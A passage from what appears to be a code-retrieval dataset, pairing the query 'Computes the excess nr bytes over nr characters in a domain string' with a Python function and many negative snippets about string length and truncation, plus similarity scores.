domain[1:len(domain)-2]\",\n \"def join_link(s, separator):\\n if s == empty:\\n return \\\"\\\"\\n elif rest(s) == empty:\\n return str(first(s))\\n else:\\n return str(first(s)) + separator + join_link(rest(s), separator)\\n # so much like the TLS programming style.\",\n \"def processUrl(url):\\n domain = 'http://www.gsmarena.com/'\\n if domain not in url:\\n url = urllib.parse.urljoin(domain, url)\\n return url\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6588488","0.6037963","0.59932935","0.58680135","0.5814077","0.58129615","0.5769635","0.5683123","0.566781","0.56072015","0.55921346","0.55277026","0.5518288","0.5502831","0.5482606","0.5472744","0.545825","0.54528075","0.5439585","0.5436488","0.54126805","0.54007715","0.5369596","0.53551173","0.534428","0.5336937","0.53326494","0.5322084","0.5320789","0.5317493","0.53156453","0.5295508","0.5294112","0.52740884","0.5271609","0.52666","0.5238663","0.5224142","0.521261","0.5208158","0.52072036","0.5204899","0.52016205","0.51976955","0.5168081","0.51550984","0.5152514","0.5150317","0.51467574","0.51405776","0.51354843","0.51242524","0.51220787","0.5108886","0.510541","0.510541","0.50935125","0.5090474","0.5090474","0.5089304","0.5088172","0.5080201","0.5071573","0.50672185","0.50536555","0.5050682","0.5048951","0.5045516","0.50422454","0.50377864","0.5033885","0.50303435","0.5027945","0.5027077","0.50217617","0.5014765","0.5014351","0.50089663","0.5008251","0.50052947","0.5002874","0.49921674","0.4983398","0.49765176","0.49762207","0.4972856","0.49711087","0.49705786","0.49686185","0.49618942","0.4961393","0.49577528","0.4952479","0.4950765","0.4942575","0.494093","0.49384615","0.49374986","0.49366865","0.4929412"],"string":"[\n \"0.6588488\",\n \"0.6037963\",\n \"0.59932935\",\n \"0.58680135\",\n \"0.5814077\",\n \"0.58129615\",\n \"0.5769635\",\n \"0.5683123\",\n \"0.566781\",\n \"0.56072015\",\n \"0.55921346\",\n \"0.55277026\",\n \"0.5518288\",\n \"0.5502831\",\n \"0.5482606\",\n \"0.5472744\",\n \"0.545825\",\n \"0.54528075\",\n \"0.5439585\",\n \"0.5436488\",\n \"0.54126805\",\n \"0.54007715\",\n \"0.5369596\",\n \"0.53551173\",\n \"0.534428\",\n \"0.5336937\",\n \"0.53326494\",\n \"0.5322084\",\n \"0.5320789\",\n \"0.5317493\",\n \"0.53156453\",\n \"0.5295508\",\n \"0.5294112\",\n \"0.52740884\",\n \"0.5271609\",\n \"0.52666\",\n \"0.5238663\",\n \"0.5224142\",\n \"0.521261\",\n \"0.5208158\",\n \"0.52072036\",\n \"0.5204899\",\n \"0.52016205\",\n \"0.51976955\",\n \"0.5168081\",\n \"0.51550984\",\n \"0.5152514\",\n \"0.5150317\",\n \"0.51467574\",\n \"0.51405776\",\n \"0.51354843\",\n \"0.51242524\",\n \"0.51220787\",\n \"0.5108886\",\n \"0.510541\",\n \"0.510541\",\n \"0.50935125\",\n \"0.5090474\",\n \"0.5090474\",\n \"0.5089304\",\n \"0.5088172\",\n \"0.5080201\",\n \"0.5071573\",\n \"0.50672185\",\n \"0.50536555\",\n \"0.5050682\",\n \"0.5048951\",\n \"0.5045516\",\n \"0.50422454\",\n \"0.50377864\",\n \"0.5033885\",\n \"0.50303435\",\n \"0.5027945\",\n \"0.5027077\",\n \"0.50217617\",\n \"0.5014765\",\n \"0.5014351\",\n \"0.50089663\",\n \"0.5008251\",\n \"0.50052947\",\n \"0.5002874\",\n \"0.49921674\",\n \"0.4983398\",\n \"0.49765176\",\n \"0.49762207\",\n \"0.4972856\",\n \"0.49711087\",\n \"0.49705786\",\n \"0.49686185\",\n \"0.49618942\",\n \"0.4961393\",\n \"0.49577528\",\n \"0.4952479\",\n \"0.4950765\",\n \"0.4942575\",\n \"0.494093\",\n \"0.49384615\",\n \"0.49374986\",\n \"0.49366865\",\n \"0.4929412\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.71544874"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14482,"cells":{"query":{"kind":"string","value":"Computes the excess nr bytes over nr characters in a domain string."},"document":{"kind":"string","value":"def nonlatin_detector(dom):\n str = domain_string(dom[0], dom[1])\n N = len(str)\n hex = [c.encode('utf-8').encode('hex') for c in list(str)]\n return float(sum([len(h)/2 for h in hex]) - N)/N"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def len_unpadded(self) -> int:","def _get_num_chars(a):\n if issubclass(a.dtype.type, str_):\n return a.itemsize // 4\n return a.itemsize","def _model_string_maxlen():\n # hardcoded for convenience. Could be dynamically set in future.\n # the current longest is: BLOSUM62+I+G+X, i.e. 14 chars.\n # so we just over double it, for safety\n\n return 30","def get_mobile_worker_max_username_length(domain):\n return min(128 - len(cc_user_domain(domain)) - 1, 80)","def LPSubsequenceLength(str):\n return len(LPSubsequence(str))","def mbstrlen(text, encoding='utf-8'):\n return len(text) + (len(unicode(text, encoding)) - len(text)) / 2","def filter_max_length(self, string):\n newstring = string\n length = len(newstring)\n max_length = 63\n if length > max_length:\n newstring = newstring[0:max_length]\n\n return newstring","def getPaddedLength(string): \n if len(string) > 2<<64:\n return -1\n return struct.pack('<l', len(string))","def _remaining_str_len(self, s: str) -> int:\r\n total_remaining_chars = len(s) # includes color/repeater specifiers\r\n\r\n specifiers_used = ''.join(self._color_or_repeater_regexp.findall(s))\r\n # length of specifier strings used\r\n specifier_chars_len = len(specifiers_used)\r\n\r\n return total_remaining_chars - specifier_chars_len","def filter_min_length(self, string):\n newstring = string\n length = len(newstring)\n min_length = 3\n num_to_add = min_length - length\n while num_to_add > 0:\n newstring = newstring + \"x\"\n num_to_add = num_to_add - 1\n\n return newstring","def read_nchars(string, n=1):\n return string[:n]","def total_length():\n return","def maximum_element_size_for_length(length):\n\t\n\treturn (2**(7*length)) - 2","def network_byte_length(self) -> int:","def limit(st,length):\n return st[:length]","def test__limit_string_length(string, max_length):\n return limit_string_length(string, max_length)","def lim_str_len(string, length, end='...'):\n if len(string) <= length:\n return string\n else:\n return '{}{}'.format(string[:length - len(end)], end)","def getLength(string):\n return (0)","def __repeat_to_length(string_to_expand: str, length: int) -> str:\n return (string_to_expand * (int(length / len(string_to_expand)) + 1))[:length]","def check_string_length(string):\n if len(string) > 255:\n sys.exit(\"ERROR: Max permitted string length is 255\")","def DLEN(self):","def limit_size(msg, max_size, trunc_symbol=\"...\"):\n if len(msg) > max_size:\n msg = msg[:max_size - len(trunc_symbol)] + trunc_symbol\n return msg","def __padlen(self,l):\n return Utils.padlen(l,self.com.granularity)","def str_len():\n strlen_dict = {}\n # Length of ion name\n strlen_dict['ion'] = 6\n # Length of data file name for line source\n strlen_dict['Source'] = 30\n # Return\n return strlen_dict","def reallength(value):\n try:\n value.count()\n except:\n return len(value)","def slicing(s):\n return s[:10] + s[-10:] if len(s) > 10 else s","def LEN(text):\n return len(text)","def insertionSize(alnString, letterSize):\n letters, forwardShifts, reverseShifts = insertionCounts(alnString)\n return letters * letterSize + forwardShifts - reverseShifts","def question_10(distinct_string: str) -> int:\n return len(distinct_string.split(\" \"))","def byte_truncate(text):\n\ts = text.encode(ENCODING)\n\tif len(s) <= NAME_MAX_BYTES:\n\t\treturn s\n\n\tif ENCODING == \"utf-8\":\n\t\tlead_byte = utf8_lead_byte\n\telse:\n\t\traise NotImplementedError()\n\n\ti = NAME_MAX_BYTES\n\twhile i > 0 and not lead_byte(s[i]):\n\t\ti -= 1\n\treturn s[:i]","def repeat_again(s: str) -> int:\n string_dict = dict()\n max_length = 0\n met_repeat = False\n for index, v in enumerate(s):\n if v in string_dict:\n m = index - string_dict[v]\n if m > max_length:\n max_length = m\n met_repeat = True\n string_dict[v] = index\n\n if met_repeat is True:\n return max_length\n else:\n return len(s)","def minimum_length(char_list, length):\n return len(char_list)**length + length - 1","def __length_hint__(self) -> 'Literal[28]':\n return 28","def repeatedString(s, n):\n\n count = 0\n s_count_a = s.count('a')\n\n count += math.floor(n / len(s)) * s_count_a\n for _ in range(n % len(s)):\n if s[_] == 'a':\n count += 1\n\n return count","def length_of_name(self, name):\n length = len(name)\n if length > 10:\n self.show_message_when_name_very_long()\n return length","def _mb_strlen(string):\n return len(string.decode(_ENCODING))","def len_diff(s):\n return len(s) - len(text(s))","def missing_char(str, n):\r\n if n<=len(str):\r\n str = str.replace(str[n], \"\")\r\n return str","def zeropad_to_length(self, n):\n oldn = self.nt\n assert n >= oldn\n return self.zeropad(0, n - oldn)","def get_payload_length(packet):\n adaptation_field_len = TS.get_adaptation_field_length(packet)\n return 188 - 4 - adaptation_field_len","def len_of_longest_string(s):\n return len(max(s, key=len))","def test_truncates_to_correct_size(self):\n truncated = truncateFeedback(self.simpleTestString)\n self.assertTrue(len(truncated) < 16000)\n truncated = truncateFeedback(self.complicatedString)\n self.assertTrue(len(truncated) < 16000)","def glueSize(s):\n\tsize = len(s)\n\treturn struct.pack(\">I\",size) + s","def length(s: str) -> int:\n count = 0\n for i in s:\n count += 1\n return count","def test_rfc_nickkey_length(s):\n assert len(util.rfc_nickkey(s)) == len(s)","def byte_len(s):\n if isinstance(s, str):\n return len(s.encode())\n elif isinstance(s, bytes):\n return len(s)\n else:\n raise TypeError('Cannot determine byte length for type {}'.format(type(s)))","def sized(self, v):\n \n # the trailing digits are always preserved\n lv = len(v)\n if lv > 64:\n v = v[:-4 - (lv-64)] + v[-4:]\n return v","def charlimit():\n\n # Return the value\n return sys.maxsize","def __size_restriction_incorrect_string_number(self):\n\n strTestName = 'String size lower than a number (incorrect)'\n RxCSObject = _RxCSobject()\n\n RxCSObject.paramAddMan('parameter1', 'String parameter')\n RxCSObject.paramType('parameter1', str)\n RxCSObject.paramSizHE('parameter1', 4, mul=2, add=3)\n\n RxCSObject.parameter1 = 'aaa'\n\n self.__parametersCheck_error(RxCSObject, SizeError, strTestName)","def length(n):\n a, b, c = n / 100, (n % 100) / 10 * 10, n % 10\n total = 0\n if a:\n total += num_to_len[a] + len('hundred')\n if b or c:\n total += len('and')\n if b == 10:\n total += num_to_len[b+c]\n else :\n if b > 1:\n total += num_to_len[b]\n if c:\n total += num_to_len[c]\n return total","def get_length(dna):\n return len (dna)","def len_max(self):\n return 16 + 16 + 8 + 8 + Tools.bin_to_dec(self.get_data_size()) + Tools.bin_to_dec(self.get_verification_size())","def byte_size(x):\n\n suffixes = ['bytes', 'KB', 'MB', 'GB', 'TB']\n index = 0\n while x > 1024 and index < 4:\n index += 1\n x /= 1024\n return \"{} {}\".format(int(round(x)), suffixes[index])","def len12(self, len): # -> None:\n ...","def nwords(s: str):\n letters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZÄÜÖabcdefghijklmnopqrstuvwxyzüäö\"\n take = 0\n skip = 0\n for i in s:\n if i not in letters:\n skip += 1\n #print(\"S:\", skip)\n else:\n take += 1\n #print(\"t:\", take)\n res = (len(s) - take) + 1\n return res","def intdigest(self):\n if self._total_length <= 240:\n if self._total_length == 0:\n return self._len_0()\n elif self._total_length <= 3:\n return self._len_1to3()\n elif self._total_length <= 8:\n return self._len_4to8()\n elif self._total_length <= 16:\n return self._len_9to16()\n elif self._total_length <= 128:\n return self._len_17to128()\n elif self._total_length <= 240:\n return self._len_129to240()\n # self._update_hashlong() has consumed as much of self._buffer\n # as possible. self._finalize_hashlong() will complete the\n # hash process\n return self._finalize_hashlong()","def Length(self) -> int:","def Length(self) -> int:","def strlen(val): \n return len(val)","def trailing_chunks(length):\n return number_string[-length:], number_string[-2 * length:-length]","def get_string_length(self):\n return int(self.read('H')[0])","def max_chars(self):\n return self.range_field[0] * self.range_field[1]","def pad_end(self, my_str, c, final_length):\n while len(my_str) != final_length:\n my_str = my_str + c\n return my_str","def get_unstr_length(self):\n if self.unstr_length is None:\n return self.length()\n\n elif isinstance(self.unstr_length, str):\n return self.length() + float(self.unstr_length)\n\n return self.unstr_length","def trunc_utf8(string, num, etc=\"...\"):\n gb = string.decode(\"utf8\", \"ignore\").encode(\"gb18030\", \"ignore\")\n if num >= len(gb):\n return string\n ret = gb[:num].decode(\"gb18030\", \"ignore\").encode(\"utf8\")\n if etc:\n ret += etc\n return ret","def get_street_length(street):\r\n return len(street)","def get_length(dna):\n return len(dna)","def part2(data: str = None) -> int:\n polymer: str = getpolymer(data)\n minlength: int = len(polymer)\n for asciichar in range(ord(\"a\"), ord(\"z\") + 1):\n polymermut = re.sub(chr(asciichar), \"\", polymer, flags=re.IGNORECASE)\n minlength = min(minlength, len(react(polymermut)))\n return minlength","def _getNewCodeLength(self):\n nb_lines = 0\n for line in self.body.splitlines():\n if not line.startswith(\"-\"):\n nb_lines += 1\n return nb_lines","def truncate(string):","def bytes_packet(_bytes, termination_string=']'):\n\n return '{}{}'.format(len(_bytes), termination_string)","def _getOldCodeLength(self):\n nb_lines = 0\n for line in self.body.splitlines():\n if not line.startswith(\"+\"):\n nb_lines += 1\n return nb_lines","def trim(s):\n return s if len(s) <= 80 else s[:77] + \"...\"","def trim(s):\n return s if len(s) <= 80 else s[:77] + \"...\"","def trim(s):\n return s if len(s) <= 80 else s[:77] + \"...\"","def trim(s):\n return s if len(s) <= 80 else s[:77] + \"...\"","def cut_string(string, limit=30):\n if len(string) <= limit:\n return string\n else:\n return string[:limit-3] + '...'","def _ensure_str_array_size(array, strlen):\n current_length = array.itemsize // np.dtype(\"1U\").itemsize\n if current_length < strlen:\n return array.astype(f\"{2 * strlen}U\")\n else:\n return array","def length(value):\n\n # Try to return the length\n return len(value)","def max_length(self):\n\t\treturn self._max_length","def _checkResponseByteCount(payload):\n POSITION_FOR_GIVEN_NUMBER = 0\n NUMBER_OF_BYTES_TO_SKIP = 1\n\n _checkString(payload, minlength=1, description='payload')\n\n givenNumberOfDatabytes = ord(payload[POSITION_FOR_GIVEN_NUMBER])\n countedNumberOfDatabytes = len(payload) - NUMBER_OF_BYTES_TO_SKIP\n\n if givenNumberOfDatabytes != countedNumberOfDatabytes:\n errortemplate = 'Wrong given number of bytes in the response: {0}, but counted is {1} as data payload length is {2}.' + \\\n ' The data payload is: {3!r}'\n errortext = errortemplate.format(givenNumberOfDatabytes, countedNumberOfDatabytes, len(payload), payload)\n raise ValueError(errortext)","def trimmedLength(self):\r\n\t\treturn (self.sourceLength - (self.trimEnd + self.trimStart))","def get_length(x):\n\n try:\n return int(x)\n except Exception:\n return len(x)","def length_uc(x):\r\n return sum(length(m) for m in metamer(x))","def __get_max_length(self):\n\t\tif self.version == 1:\n\t\t\treturn 19\n\t\telif self.version == 2:\n\t\t\treturn 34\n\t\telif self.version == 3:\n\t\t\treturn 55\n\t\telif self.version == 4:\n\t\t\treturn 80\n\t\telif self.version == 5:\n\t\t\treturn 108\n\t\telif self.version == 6:\n\t\t\treturn 136\n\t\telse:\n\t\t\treturn \"Version number > 6 not supported\"","def getNoteLen(self, n):\n\n return MMA.notelen.getNoteLen(n) * self.stretch","def _get_correct_string_size(self, fd):\n # store the lenght value bits\n size_bits = []\n # the value can have max 5 bytes\n for _ in range(5):\n size = self.read_bytes_to_int(fd, 1)\n # if the length value is less then 128 it means its the last\n # byte with the lenght value information and we can end.\n if size < 128:\n size_bits.append(bin(size)[2:])\n break\n else:\n # when its bigger than 128 it means that the length value\n # is using more bytes. We strip also the most significant\n # bit\n size_bits.append(bin(size)[3:])\n\n size_bits.reverse()\n correct_size = int(\"\".join(size_bits), 2) \n return correct_size","def restrict_text(text):\n\n if len(text) > 400:\n\n return text[:400] + ' ...'\n \n return text","def non_repeating_substring(str1: str) -> int:\n max_length = 0\n seen = {}\n window_start = 0\n for window_end in range(len(str1)):\n right_char = str1[window_end]\n if right_char in seen:\n window_start = max(window_start, seen[right_char] + 1)\n seen[right_char] = window_end\n max_length = max(max_length, window_end - window_start + 1)\n return max_length","def makeEllipsis(aStr, maxLen=60):\n\tif len(aStr)>maxLen:\n\t\treturn aStr[:maxLen-3]+\"...\"\n\treturn aStr","def hash_str_length(self):\n return self.hash_byte_length() * 2","def getPacketSize(binaryString, startPos=0):\n return (getPacketLength(binaryString, startPos) + 7)","def calculate_length(self):\n raise NotImplementedError","def getLength(msg):\n return len(msg)","def test_to_knx_too_long(self):\n with self.assertRaises(ConversionError):\n DPTString().to_knx(\"AAAAABBBBBCCCCx\")","def pad_to_max_length(self, sequence):\n sequence = sequence[:self.max_seq_length]\n n = len(sequence)\n #return sequence + ['[PAD]'] * (self.max_seq_length - n)\n return sequence + [0] *(self.max_seq_length - n)","def max_seq_len() -> int:\n return 8","def num_chars(word):\n return len(word)","def longlines(x):\n return sum(len(plain(line)) // cw for line in x.split(\"\\n\"))","def max_length(verifield, required):\n if verifield is None: return True\n return len(verifield) <= required","def hstrlen(self, key, field):\n return self._command(b'HSTRLEN', key, field)"],"string":"[\n \"def len_unpadded(self) -> int:\",\n \"def _get_num_chars(a):\\n if issubclass(a.dtype.type, str_):\\n return a.itemsize // 4\\n return a.itemsize\",\n \"def _model_string_maxlen():\\n # hardcoded for convenience. Could be dynamically set in future.\\n # the current longest is: BLOSUM62+I+G+X, i.e. 14 chars.\\n # so we just over double it, for safety\\n\\n return 30\",\n \"def get_mobile_worker_max_username_length(domain):\\n return min(128 - len(cc_user_domain(domain)) - 1, 80)\",\n \"def LPSubsequenceLength(str):\\n return len(LPSubsequence(str))\",\n \"def mbstrlen(text, encoding='utf-8'):\\n return len(text) + (len(unicode(text, encoding)) - len(text)) / 2\",\n \"def filter_max_length(self, string):\\n newstring = string\\n length = len(newstring)\\n max_length = 63\\n if length > max_length:\\n newstring = newstring[0:max_length]\\n\\n return newstring\",\n \"def getPaddedLength(string): \\n if len(string) > 2<<64:\\n return -1\\n return struct.pack('<l', len(string))\",\n \"def _remaining_str_len(self, s: str) -> int:\\r\\n total_remaining_chars = len(s) # includes color/repeater specifiers\\r\\n\\r\\n specifiers_used = ''.join(self._color_or_repeater_regexp.findall(s))\\r\\n # length of specifier strings used\\r\\n specifier_chars_len = len(specifiers_used)\\r\\n\\r\\n return total_remaining_chars - specifier_chars_len\",\n \"def filter_min_length(self, string):\\n newstring = string\\n length = len(newstring)\\n min_length = 3\\n num_to_add = min_length - length\\n while num_to_add > 0:\\n newstring = newstring + \\\"x\\\"\\n num_to_add = num_to_add - 1\\n\\n return newstring\",\n \"def read_nchars(string, n=1):\\n return string[:n]\",\n \"def total_length():\\n return\",\n \"def maximum_element_size_for_length(length):\\n\\t\\n\\treturn (2**(7*length)) - 2\",\n \"def network_byte_length(self) -> int:\",\n \"def limit(st,length):\\n return st[:length]\",\n \"def test__limit_string_length(string, max_length):\\n return limit_string_length(string, max_length)\",\n \"def lim_str_len(string, length, end='...'):\\n if len(string) <= length:\\n return string\\n else:\\n return '{}{}'.format(string[:length - len(end)], end)\",\n \"def getLength(string):\\n return (0)\",\n \"def __repeat_to_length(string_to_expand: str, length: int) -> str:\\n return (string_to_expand * (int(length / len(string_to_expand)) + 1))[:length]\",\n \"def check_string_length(string):\\n if len(string) > 255:\\n sys.exit(\\\"ERROR: Max permitted string length is 255\\\")\",\n \"def DLEN(self):\",\n \"def limit_size(msg, max_size, trunc_symbol=\\\"...\\\"):\\n if len(msg) > max_size:\\n msg = msg[:max_size - len(trunc_symbol)] + trunc_symbol\\n return msg\",\n \"def __padlen(self,l):\\n return Utils.padlen(l,self.com.granularity)\",\n \"def str_len():\\n strlen_dict = {}\\n # Length of ion name\\n strlen_dict['ion'] = 6\\n # Length of data file name for line source\\n strlen_dict['Source'] = 30\\n # Return\\n return strlen_dict\",\n \"def reallength(value):\\n try:\\n value.count()\\n except:\\n return len(value)\",\n \"def slicing(s):\\n return s[:10] + s[-10:] if len(s) > 10 else s\",\n \"def LEN(text):\\n return len(text)\",\n \"def insertionSize(alnString, letterSize):\\n letters, forwardShifts, reverseShifts = insertionCounts(alnString)\\n return letters * letterSize + forwardShifts - reverseShifts\",\n \"def question_10(distinct_string: str) -> int:\\n return len(distinct_string.split(\\\" \\\"))\",\n \"def byte_truncate(text):\\n\\ts = text.encode(ENCODING)\\n\\tif len(s) <= NAME_MAX_BYTES:\\n\\t\\treturn s\\n\\n\\tif ENCODING == \\\"utf-8\\\":\\n\\t\\tlead_byte = utf8_lead_byte\\n\\telse:\\n\\t\\traise NotImplementedError()\\n\\n\\ti = NAME_MAX_BYTES\\n\\twhile i > 0 and not lead_byte(s[i]):\\n\\t\\ti -= 1\\n\\treturn s[:i]\",\n \"def repeat_again(s: str) -> int:\\n string_dict = dict()\\n max_length = 0\\n met_repeat = False\\n for index, v in enumerate(s):\\n if v in string_dict:\\n m = index - string_dict[v]\\n if m > max_length:\\n max_length = m\\n met_repeat = True\\n string_dict[v] = index\\n\\n if met_repeat is True:\\n return max_length\\n else:\\n return len(s)\",\n \"def minimum_length(char_list, length):\\n return len(char_list)**length + length - 1\",\n \"def __length_hint__(self) -> 'Literal[28]':\\n return 28\",\n \"def repeatedString(s, n):\\n\\n count = 0\\n s_count_a = s.count('a')\\n\\n count += math.floor(n / len(s)) * s_count_a\\n for _ in range(n % len(s)):\\n if s[_] == 'a':\\n count += 1\\n\\n return count\",\n \"def length_of_name(self, name):\\n length = len(name)\\n if length > 10:\\n self.show_message_when_name_very_long()\\n return length\",\n \"def _mb_strlen(string):\\n return len(string.decode(_ENCODING))\",\n \"def len_diff(s):\\n return len(s) - len(text(s))\",\n \"def missing_char(str, n):\\r\\n if n<=len(str):\\r\\n str = str.replace(str[n], \\\"\\\")\\r\\n return str\",\n \"def zeropad_to_length(self, n):\\n oldn = self.nt\\n assert n >= oldn\\n return self.zeropad(0, n - oldn)\",\n \"def get_payload_length(packet):\\n adaptation_field_len = TS.get_adaptation_field_length(packet)\\n return 188 - 4 - adaptation_field_len\",\n \"def len_of_longest_string(s):\\n return len(max(s, key=len))\",\n \"def test_truncates_to_correct_size(self):\\n truncated = truncateFeedback(self.simpleTestString)\\n self.assertTrue(len(truncated) < 16000)\\n truncated = truncateFeedback(self.complicatedString)\\n self.assertTrue(len(truncated) < 16000)\",\n \"def glueSize(s):\\n\\tsize = len(s)\\n\\treturn struct.pack(\\\">I\\\",size) + s\",\n \"def length(s: str) -> int:\\n count = 0\\n for i in s:\\n count += 1\\n return count\",\n \"def test_rfc_nickkey_length(s):\\n assert len(util.rfc_nickkey(s)) == len(s)\",\n \"def byte_len(s):\\n if isinstance(s, str):\\n return len(s.encode())\\n elif isinstance(s, bytes):\\n return len(s)\\n else:\\n raise TypeError('Cannot determine byte length for type {}'.format(type(s)))\",\n \"def sized(self, v):\\n \\n # the trailing digits are always preserved\\n lv = len(v)\\n if lv > 64:\\n v = v[:-4 - (lv-64)] + v[-4:]\\n return v\",\n \"def charlimit():\\n\\n # Return the value\\n return sys.maxsize\",\n \"def __size_restriction_incorrect_string_number(self):\\n\\n strTestName = 'String size lower than a number (incorrect)'\\n RxCSObject = _RxCSobject()\\n\\n RxCSObject.paramAddMan('parameter1', 'String parameter')\\n RxCSObject.paramType('parameter1', str)\\n RxCSObject.paramSizHE('parameter1', 4, mul=2, add=3)\\n\\n RxCSObject.parameter1 = 'aaa'\\n\\n self.__parametersCheck_error(RxCSObject, SizeError, strTestName)\",\n \"def length(n):\\n a, b, c = n / 100, (n % 100) / 10 * 10, n % 10\\n total = 0\\n if a:\\n total += num_to_len[a] + len('hundred')\\n if b or c:\\n total += len('and')\\n if b == 10:\\n total += num_to_len[b+c]\\n else :\\n if b > 1:\\n total += num_to_len[b]\\n if c:\\n total += num_to_len[c]\\n return total\",\n \"def get_length(dna):\\n return len (dna)\",\n \"def len_max(self):\\n return 16 + 16 + 8 + 8 + Tools.bin_to_dec(self.get_data_size()) + Tools.bin_to_dec(self.get_verification_size())\",\n \"def byte_size(x):\\n\\n suffixes = ['bytes', 'KB', 'MB', 'GB', 'TB']\\n index = 0\\n while x > 1024 and index < 4:\\n index += 1\\n x /= 1024\\n return \\\"{} {}\\\".format(int(round(x)), suffixes[index])\",\n \"def len12(self, len): # -> None:\\n ...\",\n \"def nwords(s: str):\\n letters = \\\"ABCDEFGHIJKLMNOPQRSTUVWXYZÄÜÖabcdefghijklmnopqrstuvwxyzüäö\\\"\\n take = 0\\n skip = 0\\n for i in s:\\n if i not in letters:\\n skip += 1\\n #print(\\\"S:\\\", skip)\\n else:\\n take += 1\\n #print(\\\"t:\\\", take)\\n res = (len(s) - take) + 1\\n return res\",\n \"def intdigest(self):\\n if self._total_length <= 240:\\n if self._total_length == 0:\\n return self._len_0()\\n elif self._total_length <= 3:\\n return self._len_1to3()\\n elif self._total_length <= 8:\\n return self._len_4to8()\\n elif self._total_length <= 16:\\n return self._len_9to16()\\n elif self._total_length <= 128:\\n return self._len_17to128()\\n elif self._total_length <= 240:\\n return self._len_129to240()\\n # self._update_hashlong() has consumed as much of self._buffer\\n # as possible. self._finalize_hashlong() will complete the\\n # hash process\\n return self._finalize_hashlong()\",\n \"def Length(self) -> int:\",\n \"def Length(self) -> int:\",\n \"def strlen(val): \\n return len(val)\",\n \"def trailing_chunks(length):\\n return number_string[-length:], number_string[-2 * length:-length]\",\n \"def get_string_length(self):\\n return int(self.read('H')[0])\",\n \"def max_chars(self):\\n return self.range_field[0] * self.range_field[1]\",\n \"def pad_end(self, my_str, c, final_length):\\n while len(my_str) != final_length:\\n my_str = my_str + c\\n return my_str\",\n \"def get_unstr_length(self):\\n if self.unstr_length is None:\\n return self.length()\\n\\n elif isinstance(self.unstr_length, str):\\n return self.length() + float(self.unstr_length)\\n\\n return self.unstr_length\",\n \"def trunc_utf8(string, num, etc=\\\"...\\\"):\\n gb = string.decode(\\\"utf8\\\", \\\"ignore\\\").encode(\\\"gb18030\\\", \\\"ignore\\\")\\n if num >= len(gb):\\n return string\\n ret = gb[:num].decode(\\\"gb18030\\\", \\\"ignore\\\").encode(\\\"utf8\\\")\\n if etc:\\n ret += etc\\n return ret\",\n \"def get_street_length(street):\\r\\n return len(street)\",\n \"def get_length(dna):\\n return len(dna)\",\n \"def part2(data: str = None) -> int:\\n polymer: str = getpolymer(data)\\n minlength: int = len(polymer)\\n for asciichar in range(ord(\\\"a\\\"), ord(\\\"z\\\") + 1):\\n polymermut = re.sub(chr(asciichar), \\\"\\\", polymer, flags=re.IGNORECASE)\\n minlength = min(minlength, len(react(polymermut)))\\n return minlength\",\n \"def _getNewCodeLength(self):\\n nb_lines = 0\\n for line in self.body.splitlines():\\n if not line.startswith(\\\"-\\\"):\\n nb_lines += 1\\n return nb_lines\",\n \"def truncate(string):\",\n \"def bytes_packet(_bytes, termination_string=']'):\\n\\n return '{}{}'.format(len(_bytes), termination_string)\",\n \"def _getOldCodeLength(self):\\n nb_lines = 0\\n for line in self.body.splitlines():\\n if not line.startswith(\\\"+\\\"):\\n nb_lines += 1\\n return nb_lines\",\n \"def trim(s):\\n return s if len(s) <= 80 else s[:77] + \\\"...\\\"\",\n \"def trim(s):\\n return s if len(s) <= 80 else s[:77] + \\\"...\\\"\",\n \"def trim(s):\\n return s if len(s) <= 80 else s[:77] + \\\"...\\\"\",\n \"def trim(s):\\n return s if len(s) <= 80 else s[:77] + \\\"...\\\"\",\n \"def cut_string(string, limit=30):\\n if len(string) <= limit:\\n return string\\n else:\\n return string[:limit-3] + '...'\",\n \"def _ensure_str_array_size(array, strlen):\\n current_length = array.itemsize // np.dtype(\\\"1U\\\").itemsize\\n if current_length < strlen:\\n return array.astype(f\\\"{2 * strlen}U\\\")\\n else:\\n return array\",\n \"def length(value):\\n\\n # Try to return the length\\n return len(value)\",\n \"def max_length(self):\\n\\t\\treturn self._max_length\",\n \"def _checkResponseByteCount(payload):\\n POSITION_FOR_GIVEN_NUMBER = 0\\n NUMBER_OF_BYTES_TO_SKIP = 1\\n\\n _checkString(payload, minlength=1, description='payload')\\n\\n givenNumberOfDatabytes = ord(payload[POSITION_FOR_GIVEN_NUMBER])\\n countedNumberOfDatabytes = len(payload) - NUMBER_OF_BYTES_TO_SKIP\\n\\n if givenNumberOfDatabytes != countedNumberOfDatabytes:\\n errortemplate = 'Wrong given number of bytes in the response: {0}, but counted is {1} as data payload length is {2}.' + \\\\\\n ' The data payload is: {3!r}'\\n errortext = errortemplate.format(givenNumberOfDatabytes, countedNumberOfDatabytes, len(payload), payload)\\n raise ValueError(errortext)\",\n \"def trimmedLength(self):\\r\\n\\t\\treturn (self.sourceLength - (self.trimEnd + self.trimStart))\",\n \"def get_length(x):\\n\\n try:\\n return int(x)\\n except Exception:\\n return len(x)\",\n \"def length_uc(x):\\r\\n return sum(length(m) for m in metamer(x))\",\n \"def __get_max_length(self):\\n\\t\\tif self.version == 1:\\n\\t\\t\\treturn 19\\n\\t\\telif self.version == 2:\\n\\t\\t\\treturn 34\\n\\t\\telif self.version == 3:\\n\\t\\t\\treturn 55\\n\\t\\telif self.version == 4:\\n\\t\\t\\treturn 80\\n\\t\\telif self.version == 5:\\n\\t\\t\\treturn 108\\n\\t\\telif self.version == 6:\\n\\t\\t\\treturn 136\\n\\t\\telse:\\n\\t\\t\\treturn \\\"Version number > 6 not supported\\\"\",\n \"def getNoteLen(self, n):\\n\\n return MMA.notelen.getNoteLen(n) * self.stretch\",\n \"def _get_correct_string_size(self, fd):\\n # store the lenght value bits\\n size_bits = []\\n # the value can have max 5 bytes\\n for _ in range(5):\\n size = self.read_bytes_to_int(fd, 1)\\n # if the length value is less then 128 it means its the last\\n # byte with the lenght value information and we can end.\\n if size < 128:\\n size_bits.append(bin(size)[2:])\\n break\\n else:\\n # when its bigger than 128 it means that the length value\\n # is using more bytes. We strip also the most significant\\n # bit\\n size_bits.append(bin(size)[3:])\\n\\n size_bits.reverse()\\n correct_size = int(\\\"\\\".join(size_bits), 2) \\n return correct_size\",\n \"def restrict_text(text):\\n\\n if len(text) > 